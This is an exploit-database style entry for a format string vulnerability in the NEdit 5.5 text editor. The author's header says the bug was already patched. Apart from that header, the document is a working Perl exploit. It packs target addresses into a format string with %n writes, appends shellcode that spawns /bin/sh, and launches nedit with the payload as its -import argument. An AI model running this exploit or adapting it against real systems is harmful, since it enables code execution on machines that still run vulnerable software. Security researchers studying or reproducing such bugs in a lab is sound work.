NEdit 5.5 – Format String
# Exploit Title: Format string vulnerability in Nedit <= 5.5. # Date: 04/13/2011 # Author: Tosh (The bug was already patched when I'd found the vuln) # Email: tosh@tuxfamily.org # Patch: http://nedit.cvs.sourceforge.net/viewvc/nedit/nedit/source/preferences.c?r1=1.159&r2=1.160&view=patch # Version: Nedit 5.5 # Tested on: FreeBSD 8.2-RELEASE # CVE: don't found #!/usr/bin/perl -w use strict; my $exit_addr = 0x0815a86c; my $sc = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50". "\x54\x53\xb0\x3b\x50\xcd\x80"; my (@payload) = ("./nedit", "-import", pack('L',$exit_addr).pack('L',$exit_addr+1).pack('L',$exit_addr+2).pack('L',$exit_addr+3). "%1021\$.8x-"."%1\$127x%1021\$n%1\$083x%1022\$n%1\$212x%1023\$n%1\$256x%1024\$n" . $sc); exec(@payload); |